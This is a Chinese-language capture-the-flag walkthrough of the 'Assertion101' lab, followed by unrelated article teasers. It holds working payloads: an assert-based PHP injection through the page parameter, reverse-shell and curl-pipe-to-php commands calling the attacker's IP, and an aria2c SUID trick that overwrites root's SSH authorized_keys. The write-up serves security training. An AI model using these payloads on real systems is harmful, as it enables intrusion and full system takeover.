绕过断言的LFI-Assertion101

news2024/11/15 12:32:40

总结

getwebshell : 发现疑似LFI的地方 → 测试..过滤 → 尝试断言绕过 → 远程加载反弹shell → getwebshell

提 权 思 路 : suid文件发现 → aria2c远程下载ssh私钥覆盖/root/.ssh → ssh公钥登录提权

准备工作

  • 启动VPN
    获取攻击机IP → 192.168.45.218

图片

  • 启动靶机
    获取目标机器IP → 192.168.151.94

图片

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次(多次扫描减少误扫)

 
  1. sudo nmap --min-rate 10000 -p- 192.168.151.94

  2. PORT STATE SERVICE

  3. 22/tcp open ssh

  4. 80/tcp open http

图片


开放的端口->22,80

目标端口对应服务探测

 
  1. # tcp探测

  2. sudo nmap -sT -sV -O -sC -p22,80 192.168.151.94

  3. PORT STATE SERVICE VERSION

  4. 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3

  5. 80/tcp open http Apache httpd 2.4.29 ((Ubuntu))

图片

信息收集-端口测试

22-SSH端口的信息收集

22-SSH端口版本信息与MSF利用

通过Nmap探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 7.6p1

 
  1. # 搜索对应脚本

  2. msf6 > searchsploit OpenSSH 7.6p1

发现搜索到可利用的和用户枚举有关(待定)

图片

22-SSH协议支持的登录方式

通过Nmap探测获得SSH的版本信息,在获取到某个用户名之后尝试

 
  1. sudo ssh root@192.168.151.94 -v

显示publickeypassword就是支持密钥以及密码登录

图片

22-SSH手动登录尝试(无)

因为支持密码登录,尝试root账户的密码弱密码尝试

 
  1. sudo ssh root@192.168.151.94 -p 22

  2. # 密码尝试

  3. password > root

弱密码尝试失败

图片

22-SSH弱口令爆破(静静等待)

因为支持密码登录,尝试root账户的密码爆破,利用工具hydra,线程-t为6

 
  1. sudo hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.151.94 ssh -s 22

挂着工具进行爆破,我们尝试后续信息收集

图片

80-HTTP端口的信息收集

访问 http://192.168.151.94:80 像一个CMS,尝试指纹收集开始
像是一个健身网站

图片

信息收集-网站指纹
 
  1. ┌──(root㉿Kali)-[/home/bachang/Assertion101]

  2. └─# whatweb http://192.168.151.94:80

  3. http://192.168.151.94:80 [200 OK] Apache[2.4.29], Bootstrap, Country[RESERVED][ZZ], Email[Colorlib.info@gmail.com], Frame, HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[192.168.151.94], JQuery[3.3.1], Script, Title[Assertion], X-UA-Compatible[ie=edge]

标题 Assertion 翻译是断言,可能会有一定帮助。(不是提示就是用户之类的)

图片

漏洞利用-网站指纹
 
  1. searchsploit Assertion

尝试搜索,不太对劲

图片

信息收集-HTML隐藏信息查看
 
  1. # 包括文章中是否写明一些敏感信息

  2. curl http://192.168.151.94:80

很多的js没什么信息

图片

信息收集-目录扫描
信息收集-目录扫描初步
 
  1. # 用两个扫描器进行扫描,更加的谨慎一些

  2. dirsearch -u http://192.168.151.94:80 -x 302,403,404

  3. dirb http://192.168.151.94:80

图片


因为扫出了目录,深层次的扫描待选

 
  1. 信息收集-目录扫描(后缀)

  2. 信息收集-目录扫描(深度/大字典)

  3. 信息收集-目录扫描(深度/大字典后缀)

信息收集-目录访问
  • js文件没发现什么

图片

  • img文件夹下都是图片

图片

  • pages文件夹下很多php文件
    打开没啥

图片

  • 其余几个php文件夹对应的都是访问不同页面

    信息收集-目录扫描
    信息收集-目录扫描大字典

    因为没什么收获,决定上大字典

 
  1. # -t 指定线程 -x 添加后缀扩展名 -k 禁用ssl

  2. gobuster dir -u http://192.168.151.94:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -x .html,.php,.zip -k > gobuster.txt

漏洞探测-nikto扫描

同时试试扫描器

 
  1. nikto -h http://192.168.151.94:80

没发现什么大问题

图片

文章信息查看

有时候文章内部也具有一些提示滴
戳了一下about发现目录发现变化,出现了传参

图片

漏洞利用-getwebshell

LFI测试

看见传参我可兴奋了,首先尝试相对路径的文件读取

 
  1. http://192.168.151.94/index.php?page=about/../../../../etc/passwd

Not so easy brother!没有这么简单,这是提示?还是嘲讽/(ㄒoㄒ)/

图片


那么思路应该是正确的
尝试一下相对路径文件读取

 
  1. http://192.168.151.94/index.php?page=/etc/passwd

File does not exist文件不存在说明应该相对路径?

图片


尝试远程文件加载

 
  1. http://192.168.151.94/index.php?page=http://www.baidu.com

File does not exist

 
  1. http://192.168.151.94/index.php?page=../

  2. http://192.168.151.94/index.php?page=/../

  3. http://192.168.151.94/index.php?page=././././

  4. http://192.168.151.94/index.php?page=%2F..%2F

尝试了各种,发现的问题是好像对..进行了过滤捏
.好像没有url编码

图片

.过滤绕过

推测后端php脚本可能存在类似正则匹配,如果存在..则会执行

 
  1. <?php echo "Not so easy brother!" ?>

突然想到了标题的断言,尝试推测后端代码

图片


推测属于这种类型的代码的话,不能使用..
https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/file-inclusion/README.md上搜索到了相关内容

图片


提供了一种很新颖的绕过思路

 
  1. http://192.168.151.94/index.php?page=' and die(show_source('/etc/passwd')) or '

没有发现账号

图片

 
  1. http://192.168.151.94/index.php?page=%27%20and%20die(system(%22whoami%22))%20or%20%27

图片

命令执行反弹shell1(失败)

 
  1. # 利用linux自带的bash进行反弹

  2. bash -i >& /dev/tcp/192.168.45.218/4545 0>&1

 
  1. http://192.168.151.94/index.php?page=' and die(system("bash -i >& /dev/tcp/192.168.45.218/4545 0>&1")) or '

发现没有回显,进行修改

 
  1. http://192.168.151.94/index.php?page=' and die(system("sh -i >& /dev/tcp/192.168.45.218/4545 0>&1")) or '

命令执行反弹shell2

反弹失败之后尝试用远程加载的方法

 
  1. # 利用cp命令cp一个到当前文件夹并且命名为shell.php

  2. sudo cp /usr/share/webshells/php/php-reverse-shell.php ./shell.php

 
  1. # 开启监听

  2. sudo nc -lvnp 4545

反弹shell配置

 
  1. # 利用grep确定修改反弹shell_ip的第49行

  2. grep -n "127.0.0.1" shell.php

  3. > 49:$ip = '127.0.0.1'; // CHANGE THIS

  4. # 同理监听端口是第50行

  5. grep -n "1234" shell.php

  6. 50:$port = 1234; // CHANGE THIS

  7. # 利用sed命令替换里面的内容

  8. sed -i '49s/127.0.0.1/192.168.45.218/' shell.php

  9. sed -i '50s/1234/4545/' shell.php

  10. # 利用sed查看49与50行是否修改成功

  11. sed -n '49,50p' shell.php

图片

python3开启http服务
 
  1. # 利用python开启http服务

  2. sudo python3 -m http.server 80

 
  1. # 目标机器执行远程访问

  2. http://192.168.151.94/index.php?page=' and die(system("curl http://192.168.45.218:80/shell.php | php")) or '

命令执行成功

图片

内网遨游-getshell

交互shell

由于获取的shell交互不友好,利用python获得新的交互shell

 
  1. # 利用python获取交互shell -> python失败使用python3

  2. python -c "import pty;pty.spawn('/bin/bash')";

FLAG1获取

 
  1. www-data@assertion:/$ find / -name local.txt 2>/dev/null

  2. /var/www/local.txt

  3. www-data@assertion:/$ cat /var/www/local.txt

  4. 525385afed5f2d70bfb89f7cb77b1da3

信息收集-内网基础信息收集

提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备

检测Linux操作系统的发行版本

较老的Ubuntu以及Linux系统可以overlayfs提权

 
  1. # 确定发行版本

  2. www-data@assertion:/$ lsb_release -a

  3. No LSB modules are available.

  4. Distributor ID: Ubuntu

  5. Description: Ubuntu 18.04.3 LTS

  6. Release: 18.04

  7. Codename: bionic

发行版本为Ubuntu 18.04,不太能overlayfs提权

检测Linux操作系统的内核版本

较低的内核版本可以进行脏牛提权

 
  1. uname -a

  2. Linux assertion 4.15.0-74-generic #84-Ubuntu SMP Thu Dec 19 08:06:28 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

内核版本为4.15.0

检测当前用户的权限
 
  1. www-data@assertion:/$ id

  2. uid=33(www-data) gid=33(www-data) groups=33(www-data)

图片

列举出所有的sudo文件

查找具有sudo权限,且不需要密码的可提权文件
如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找

 
  1. # 利用sudo -l寻找

  2. www-data@assertion:/$ sudo -l

  3. sudo -l

  4. [sudo] password for www-data: root

  5. Sorry, try again.

发现需要密码

图片

列举出所有suid文件

如果发现u=s有东西的话 访问 https://gtfobins.github.io 寻找

 
  1. # -perm 文件权限

  2. www-data@assertion:/$ find / -perm -u=s -type f 2>/dev/null

  3. /usr/lib/openssh/ssh-keysign

  4. /usr/lib/eject/dmcrypt-get-device

  5. /usr/lib/policykit-1/polkit-agent-helper-1

  6. ...

  7. /usr/bin/aria2c

  8. /usr/bin/chfn

  9. /bin/ping

  10. /bin/mount

  11. /bin/fusermount

  12. /bin/su

图片

权限提升

suid-aria2c提权

发现一个aria2c没见过
如果发现有东西的话 访问 https://gtfobins.github.io 寻找

图片

图片

提权尝试一(失败)
 
  1. COMMAND='id'

  2. TF=$(mktemp)

  3. echo "$COMMAND" > $TF

  4. chmod +x $TF

  5. aria2c --on-download-error=$TF http://x

尝试失败决定用第二个

图片

提权尝试二(失败)

第二个是远程加载执行文件,需要满足16位

 
  1. aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=bash http://attacker.com/aaaaaaaaaaaaaaaa

 
  1. aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=bash http://192.168.45.218:80/aaaaaaaaaaaaaaaa

提权没啥用,上传了没执行

图片

提权尝试三(覆盖root的ssh连接密钥)

尝试百度大法寻找aria2c提权姿势

 
  1. aria2c是一个下载工具,拥有SUID权限的话,意味着可以用它下载任何内容,并且可以保存在任意位置。

是不是可以创建一对密钥,然后把公钥上传到靶机上的/root/.ssh下?

 
  1. # 生成的命令

  2. ssh-keygen -t rsa

  3. # 选择需要生成名称

  4. Enter file in which to save the key (/root/.ssh/id_rsa): yaoruo

  5. # 是否需要生成密码

  6. Enter passphrase (empty for no passphrase):

  7. # 会生成一个密钥和一个公钥

  8. yaoruo yaoruo.pub

  9. # 重命名

  10. cp yaoruo.pub authorized_keys

  11. # 放到.shh

  12. cp yaoruo ~/.ssh/

图片

在目标靶机上用aria2c下载这个公钥

 
  1. /usr/bin/aria2c -d /root/.ssh/ -o authorized_keys "http://192.168.45.218:80/authorized_keys" --allow-overwrite=true

图片


远程连接提权成功

 
  1. sudo ssh -i yaoruo root@192.168.151.94

图片

FLAG2获取

 
  1. root@assertion:~# cat /root/proof.txt

  2. 9b9bf7eec2d5e862a7fa151a0e1a6e0a

完结撒花~

图片

总结

这次靶场明显比之前上升了难度,思路不是很清晰

虽然大致猜到了过滤方式,实际上去使用payload还是有些吃力,查看了网上大神们的payload

  申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。

免费领取安全学习资料包!

渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

 

应急响应笔记

学习路线

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1574540.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

邮件服务器:Postfix

文章目录 邮件服务器的功能与工作原理电子邮件的问题Mail server与DNS 之间的关系邮件传输所需要的组件(MTA、MUA、MDA)以及相关协议用户收信时服务器端所提供的相关协议&#xff1a;MRA电子邮件的数据内容 使用Postfix与Dovecot部署邮件系统部署基础的电子邮件系统配置Postfix…

山海鲸智慧农业可视化:开启农业现代化高效管理新时代

随着科技的不断进步&#xff0c;农业现代化已成为当今社会发展的重要趋势。在这一背景下&#xff0c;山海鲸智慧农业可视化解决方案应运而生&#xff0c;为农业生产带来了革命性的变革。它通过创新的可视化技术&#xff0c;将农业生产过程中的各个环节进行高效整合&#xff0c;…

OSPF协议详解

静态缺点 1、中大型复杂网络----配置量大 2、不能实时收敛 动态-----可以实时收敛 IGP----内部网关路由协议 RIP OSPF EIGRP ISIS EGP----外部网关路由协议 BGP IGP &#xff08;选路佳 占用资源 收敛快&#xff09;----一个协议好需满足这三个 距离矢量 DV RIP…

Pandas分箱/离散化cut与qcut的区别

cut与qcut区别 1、pd.cut()2、pd.qcut()3、cut与qcut区别 Pandas提供了智能剪贴功能&#xff1a;pd.cut()与pd.qcut()&#xff0c;它们通常用于更方便直观地处理关系型或标签型数据&#xff0c;将数据进行分箱/离散化 1、pd.cut() 我们可以通过两种方式使用cut()函数&#xff…

C++的并发世界(七)——互斥锁

0.死锁的由来 假设有两个线程T1和T2&#xff0c;它们需要对两个互斥量mtx1和mtx2进行访问。而且需要按照以下顺序获取互斥量的所有权&#xff1a; -T1先获取mte1的所有权,再获取mt2的所有权。 -T2先获取 mtx2的所有权。再铁取 mtx1的所有权。 如果两个线程同时执行&#xff0c…

Android Studio学习4——gradle文件

视频讲解 https://developer.android.google.cn/studio/releases/gradle-plugin.htmIl#updating-gradle

二分查找与搜索树高频问题-算法通关村

二分查找与搜索树高频问题-算法通关村 1 基于二分查找的拓展问题 1.1 山脉数组的封顶索引 LeetCode852&#xff1a;这个题的要求有点啰嗦&#xff0c;核心意思就是在数组中的某位位置i开始&#xff0c;从0到 i 是递增的&#xff0c;从i1到数组最后是递减的&#xff0c;让你找到…

JavaEE 初阶篇-深入了解线程池(线程池创建、线程池如何处理任务)

&#x1f525;博客主页&#xff1a; 【小扳_-CSDN博客】 ❤感谢大家点赞&#x1f44d;收藏⭐评论✍ 文章目录 1.0 线程池概述 1.1 线程池的优点 1.2 不使用线程池的问题 1.3 线程池的工作原理图 1.4 如何创建线程池&#xff1f; 2.0 通过 ThreadPoolExecutor 类自定义创建线程…

数据结构与算法笔记:递归函数设计技巧

ACM金牌带你零基础直达C语言精通-课程资料 本笔记属于船说系列课程之一&#xff0c;课程链接&#xff1a; 哔哩哔哩_bilibilihttps://www.bilibili.com/cheese/play/ep66799?csourceprivate_space_class_null&spm_id_from333.999.0.0 你也可以选择购买『船说系列课程-年度…

Tensorflow2.0笔记 - 自定义Layer和Model实现CIFAR10数据集的训练

本笔记记录使用自定义Layer和Model来做CIFAR10数据集的训练。 CIFAR10数据集下载&#xff1a; https://www.cs.toronto.edu/~kriz/cifar-10-python.tar.gz 自定义的Layer和Model实现较为简单&#xff0c;参数量较少&#xff0c;并且没有卷积层和dropout等&#xff0c;最终准确率…

穿越代码之海:探寻结构体深层逻辑,展望未来应用新天地

欢迎来到白刘的领域 Miracle_86.-CSDN博客 系列专栏 C语言知识 先赞后看&#xff0c;已成习惯 创作不易&#xff0c;多多支持&#xff01; 结构体作为一种数据结构&#xff0c;其定义和特点决定了它在各种应用中的广泛适用性。随着科技的进步和新兴行业的不断涌现&#xf…

测试自动化流程设计思路

a) 背景介绍 基于当前互联网敏捷开发的现状&#xff0c;手工人力测试已不足以满足当前快速的版本迭代&#xff1b;以下将介绍一种可实现的自动化设计与使用。 b) 当前版本迭代流程 研发同学从代码库master分支拉出新代码进行研发工作得开发开发完成之后提交到代码库测试同学介入…

从概念到实践:探索独立站在当代电商中的关键作用

随着数字化时代的到来&#xff0c;电子商务已成为全球商业生态的核心组成部分。在这个不断变化的市场中&#xff0c;独立站作为企业建立在线身份和拓展业务的强大工具&#xff0c;正逐步展现出其不可替代的价值。 从概念到实践&#xff0c;本文将深入探索独立站在当代电商中的关…

C++从入门到精通——类的作用域及类的实例化

类的作用域及类的实例化 前言一、类的作用域二、类的实例化引例类是对对象进行描述的示例 一个类可以实例化出多个对象示例 示例 前言 类的作用域是指类中定义的变量和方法的可见性和可访问性范围。在类的内部&#xff0c;所有成员&#xff08;包括属性和方法&#xff09;都具…

LeetCode-51. N 皇后【数组 回溯】

LeetCode-51. N 皇后【数组 回溯】 题目描述&#xff1a;解题思路一&#xff1a;回溯&#xff0c; 回溯三部曲。验证是否合法只需要检查:1.正上方&#xff1b;2. 左上方&#xff1b;3.右上方。因为是从上到下&#xff0c;从左到右遍历的&#xff0c;下方不可能有皇后。解题思路…

Day60:WEB攻防-XMLXXE安全无回显方案OOB盲注DTD外部实体黑白盒挖掘

目录 XML&XXE-传输-原理&探针&利用&玩法 XXE 黑盒发现 XXE 白盒发现 XXE修复防御方案 有回显 无回显 XML&XXE-黑盒-JSON&黑盒测试&类型修改 XML&XXE-白盒-CMS&PHPSHE&无回显 知识点&#xff1a; 1、XXE&XML-原理-用途&…

Unity与CocosCreator对比学习二

一、锚点与适配 1.在Creator中 适配通过锚点、位置和Widget达到适配目的&#xff1b;锚点是节点在其父节点坐标系中坐标对其点&#xff0c;其x,y范围在[0, 1]之间&#xff1b; 锚点为(0, 0)时在节点自身的左下角&#xff0c;节点坐标指其左下角在父节点中的坐标&#xff1b;锚…

【2024系统架构设计】案例分析- 5 Web应用

目录 一 基础知识 二 真题 一 基础知识 1 Web应用技术分类 大型网站系统架构的演化:高性能、高可用、可维护、应变、安全。 从架构来看:MVC,MVP,MVVM,REST,Webservice,微服务。

内存管理(SRAM)

内存管理介绍 内存管理实际上就是指管理SRAM. 内存管理&#xff0c;是指软件运行时对计算机内存资源的分配和使用的技术。其最主要的目的是如 何高效、快速的分配&#xff0c;并且在适当的时候释放和回收内存资源。内存管理的实现方法有很多种&#xff0c;其实最终都是要实现两…

用vscode仿制小米官网

html内容: <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>Document</title><link rel&quo…